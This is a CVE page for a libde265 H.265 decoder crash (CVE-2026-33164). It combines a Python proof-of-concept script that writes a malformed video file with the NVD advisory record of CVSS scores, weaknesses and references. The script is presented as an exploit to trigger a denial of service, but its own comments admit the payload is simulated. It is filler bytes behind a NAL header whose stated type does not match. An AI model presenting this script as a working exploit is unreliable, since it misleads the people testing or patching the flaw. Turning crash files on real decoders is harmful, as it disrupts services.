CVE-2026-33164

# PoC for CVE-2026-33164 (libde265 Segmentation Fault) # This script generates a malformed H.265 bitstream to trigger the crash. import struct def create_malformed_h265(): # NAL Unit Header for PPS (Picture Parameter Set) # Type 0x28 is PPS in HEVC (assuming specific context) # Start code (0x00 0x00 0x00 0x01) + NAL header nal_header = bytes([0x00, 0x00, 0x00, 0x01, 0x48]) # Malformed payload to trigger the bug in set_derived_values # The exact payload depends on the specific parsing logic failure, # but usually involves invalid sizes or flags. # Here we simulate a crafted payload that causes the invalid dereference. malformed_payload = bytes([0xFF] * 100) return nal_header + malformed_payload with open("crash.h265", "wb") as f: f.write(create_malformed_h265()) print("Malformed H.265 file generated: crash.h265") print("Play this file with a vulnerable version of libde265 to trigger the DoS.")

{"cve": {"id": "CVE-2026-33164", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:16.233", "lastModified": "2026-03-23T20:05:09.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libde265 is an open source implementation of the h.265 video codec. Prior to version 1.0.17, a malformed H.265 PPS NAL unit causes a segmentation fault in pic_parameter_set::set_derived_values(). This issue has been patched in version 1.0.17."}, {"lang": "es", "value": "libde265 es una implementación de código abierto del códec de vídeo h.265. Antes de la versión 1.0.17, una unidad NAL PPS H.265 malformada provoca un fallo de segmentación en pic_parameter_set::set_derived_values(). Este problema ha sido parcheado en la versión 1.0.17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:struktur:libde265:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.17", "matchCriteriaId": "40DB036E-3A5D-4245-B887-4123769ECB8D"}]}]}], "references": [{"url": "https://github.com/strukturag/libde265/releases/tag/v1.0.17", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/strukturag/libde265/security/advisories/GHSA-wqrf-6rf5-v78r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}